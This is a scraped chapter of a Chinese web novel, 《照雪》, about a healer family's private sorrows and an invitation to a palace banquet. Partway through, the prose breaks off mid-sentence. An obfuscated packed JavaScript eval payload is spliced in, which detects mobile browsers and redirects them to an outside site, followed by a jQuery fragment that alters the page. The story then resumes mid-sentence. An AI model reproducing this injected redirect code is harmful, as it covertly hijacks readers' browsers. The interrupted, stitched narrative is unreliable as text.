46. 伤怀

作品:《照雪

    云暮道:“衍,我有些难受。”


    南玄衍盯了他一瞬。


    难受就去看大夫,哦,云暮自己就是大夫,找他做什么?


    云暮见他不为所动,只觉他不愧是冷清之人,对于其他竟毫无察觉。


    “经我观察,我觉得见欢与既明彼此有意。”


    他将自己的想法说出,果见南玄衍表情微变,再无先前的从容样。


    云暮继续道:“虽说合情合理,但不知怎的,我心里有些难受。”


    南玄衍听着他的话,只觉得心被扎了密密麻麻的洞。


    期许的情感若是被期许之人给了旁人,就算再超然,也无法举重若轻。


    云暮只觉南玄衍与他是同样的情感,仍兀自喋喋不休:“见欢在我身边待了这么多年,也算我亲手养大的孩子,你说我是不是老了,一切都还没有定式,怎么还悲伤起来了……”


    “云暮。”


    云暮不明所以,见他的脸色似是苍白了几分,心生同情,反过来安慰他道:“现在说这些还太早,他们两个都没说什么,你看我也是……”


    南玄衍阖上眼:“我有些乏了。”


    云暮出来时还有些内疚,现在还未到亥时,可见南玄衍必是听了他的话后心神动荡,才推说困乏。


    他摇了摇头,暗道自己莽撞,虽说南玄衍与见欢相处时间不比他长,但好歹也算是亲人,怎能不伤怀?


    屋中,南玄衍靠在椅背上,许久未睁眼,他只觉口中腥甜,全凭意志,才没呕出那口郁结的心头血来。


    他总觉得一切未说就算不得什么,可今日云暮一来,字字句句恰戳中了他心中恐惧之处。


    她有了喜欢的人,他便再也没有资格和缘由纠缠了。


    亲人好友都在身边,日子自是过得恬然舒适,一晃眼又是两日。


    见欢睡得正香,忽听得一阵噼里啪啦的声响,她皱眉,翻过身,显然不乐意醒来。


    雨顺着风,穿过开着的窗子洒进屋中。那风极具力道,见欢只觉得面颊一凉,混沌的意识猝然清醒,睁开眼,连鞋子也来不及穿,就扑过去关窗。


    她向来喜欢开阔,不论在哪,书案必是要布置在窗前的。由于懒怠,昨个儿写的字还被镇纸压着,大喇喇铺在案上,此时唯余深浅不一的墨色一片,哪还能看得出写了什么字?


    见欢有些懊恼,拿了块布巾将桌案上的水擦净,再忍痛将那幅面目全非的字折了起来。


    她昨日还觉得这字是近日来写的最好的一张,今日就被这不请自来的雨给毁了,分明云暮说这两日不会降雨的。


    可见这天不是个喜欢按常规的,脾气也不怎么好。


    见欢的睡意全都被浇灭了,索性起床洗漱。


    她走出屋子,与刚出来的云暮大眼瞪小眼,对方眼睛红肿,神情迷蒙,脖颈上还有水痕,显然也是被浇醒了。


    见欢指着他的眼睛:“你眼睛怎么这么红,昨天不还好好的吗?”


    云暮眼神闪躲:“昨天有只小虫飞进了眼中,所以才这样。”


    他总不能说自己晚间越来越伤怀,甚至想着自己将要离开师父时,师父是不是在强颜欢笑,等他走后就暗自垂泪?


    他这种伤怀倒不全是因为猜测见欢喜欢连既明,他只是由此想到,倘若有一日,见欢也像那幼燕,要离开了巢穴,飞向没有他在的天地呢?


    她可能会有伴侣,也可能如他当年离开药圣山时独自一人,游历在广袤的三界人间。


    他养孩子干嘛,他以前很洒脱的。


    赤槐正在林中摘果子,忽然打了个巨大的喷嚏,惊得不远处正在地上啄食的麻雀骤飞。


    云暮不知道,离开药圣山的那日,他前脚刚走,师父后脚就从床下拿出了他珍藏多年的陈酿,很是尽兴地畅饮了一番。


    所以他如此伤怀,显然不是肖他的师父。


    见欢狐疑:“一只虫子会导致两只眼睛都肿吗?”


    云暮连忙找补:“我还没说完,昨日倒霉的很,后来又来了一只,两只眼睛都进了虫,真拿我的眼睛当蜡烛呢。”


    见欢觉得他的精神状态十分奇怪,耸了耸肩,自去洗漱了。


    这雨来得快去得也快,稀里哗啦下了一阵后就消停了,云也被风吹散,一轮金乌如打了胜仗般,气昂昂地现于当空。


    见欢去宫中为公主诊病的事传遍街坊邻里,好奇之余不免生出些窥探欲来,此时见她不过去了两日便不再去,料想应也没什么本事,平日冷清的医馆更是冷清了。


    见欢对此毫不在意,流言也好,揣测也好,那都是别人的事,她不在乎别人的嘴怎么说,毕竟人只有自己才知道自己是什么样的。


    左右她又不是不开张就吃不起饭了,换个角度想,天下的病患少些才好呢,生病又不是什么好事。


    容凝午后来了一回,未提她去给公主诊病的事,言行举止未有怠慢,甚至比之前更加热情。


    两人正说着话,听见欢说到好笑处,容凝眼睛弯起,笑得前仰后合。


    赵元便是这时候来的,公主转好速度令人惊讶,那位因爱女生病愁眉不展的皇帝难得舒颜,喜的要在宫中设宴,命他将这位云大夫请来。


    见欢见到他,面上倒无太多惊讶,心却彻底落下了,她到底还是关怀那位有才情的女子的。


    赵元脸上带着客气的笑:“云大夫,多亏了你,公主现下已经大好啊!”


    见欢谦虚道:“赵侍官客气了,还是公主意志坚定,才能战胜病魔。”


    赵元道:“陛下后日要在宫中设宴,特命下官将您请去呢。”


    他眼见皇上有提携这位云大夫为御医的想法,说不定日后便飞黄腾达,客气一些总是没错的。


    见欢对什么宫宴并不感兴趣,却也懒得掀起什么麻烦事,左想右想也不过去吃一顿饭,还是应下为好。


    “劳烦赵侍官了,我那日必然赴宴。”


    赵元见着差事办完,正打算再寒暄两句便走,云暮出来笑道:“能带家眷否,实在是没见过大场面,也想去看看。”


    他嘴里说着向往的话,眼中倒是没有什么期待之情,这句“没见过大场面”自然是十分中掺了九分的假。


    赵元见是之前随同进宫的,多去一人也无伤大雅:“自是可以的。”


    云暮道:“那劳侍官再多备三双碗筷,我们家还有几个人。”


    话毕,露出了一个天真、没见过世面的笑。


    见欢的嘴角抽搐起来,他当皇宫是大饭堂啊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215618|191751||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,想添几双碗筷就添几双。


    赵元不动声色地鄙夷起来,心中想道不愧是庸俗的寻常小民,面上仍是笑着:“不劳烦,几位届时早些来,御花园的花开得极好,可来一观。”


    云暮欣然道:“这倒是好,我们必然早去。”


    赵元一走,见欢狠狠踩了下云暮的脚,将雪白的布面踩出了一道印子:“丢人!”


    云暮也不解释,大惊小怪地看着自己的鞋子:“哎呀,我前日才做好的新鞋!”


    他跑回去,见欢朝他的背影磨了磨牙,才对容凝赧然一笑:“我兄长就是如此,嗯,见到什么都新鲜,让你见笑了。”


    容凝的关注点显然不在云暮身上,她欣喜地拍了拍见欢的肩膀:“我就知道你医术好,必然能医好公主,这下前途定是光明璀璨了!”


    她先前不提这事,也是如别人所想,认为医治无果,恐提了这事教见欢伤心。


    见欢瞧她眼中满是真心实意的喜悦,不免动容,又想着过几日便要离开,此次一别,或许再见无望。


    她拉着容凝的手:“我游历至此,认识了你,真是一件幸事。只是过几日便要离开,一想到要和你提这事心中也不免踟蹰忧伤,本拖延想着之后再说,现下忽生了勇气,那便现在说予你。”


    容凝微怔,心中怀着不舍,她见过太多工于心计的人,偶然结识见欢,像是发现了一块未经雕琢的璞玉,自是珍重欣然。


    人一旦走过许多年岁,经了不同的事,见了不同的人,便难以回归少不更事的纯真。


    她温柔地看着见欢,爽朗一笑:“忧伤什么,拘在一处有什么意思,等我赚够了钱,也云游四方,把我的绸缎生意做到全天下去!”


    容凝捏着见欢的脸颊:“不用怕见不到,说不定哪天你再见到我,我已经是举世闻名的富婆了!”


    见欢受她感染,也笑了起来。


    初九当日,见欢、南玄衍、连既明、云暮四人赴宴。


    南玄衍漠然,云暮欣然,连既明淡然,见欢想着,要是不说也真看不出来这几位是要去宫中吃大席的。


    赵元按照皇帝的吩咐亲自迎接了见欢一行人,几人被安排在靠近上首的位置坐下,足见皇帝的重视。


    虽然他们不是人族,但也得按着人家的规矩来吧,因而见欢一直安静着,等着那位天子落座。


    常煜缓步而来,众人起身行礼:“陛下!”


    常佳跟在父皇身边,在他身旁的位置坐下。上首的皇帝露出一个和颜悦色的笑:“众位免礼,今日设宴,是为贺吾儿安宁病愈。”


    他举杯,底下众人自是拿起酒杯:“恭贺陛下,恭贺公主殿下!”


    一杯酒饮尽,那坐于宽阔座椅的皇帝竟又倒了杯酒,对着见欢道:“云大夫,你医好了安宁,寡人该敬你。”


    见欢摆出一副诚惶诚恐的姿态,微微弓着身:“此乃草民份内之事,公主身体康健是天下幸事,陛下言重了。”


    好不容易饮了酒,连椅子还没捂热,常佳就起身:“我敬云大夫一杯。”


    她整个人神采奕奕,不顾身份,郑重起身敬酒,见欢虽说欣慰,但也在内心抹了一把汗。


    不是,不应该你才是晚宴焦点吗,现在这是什么展开!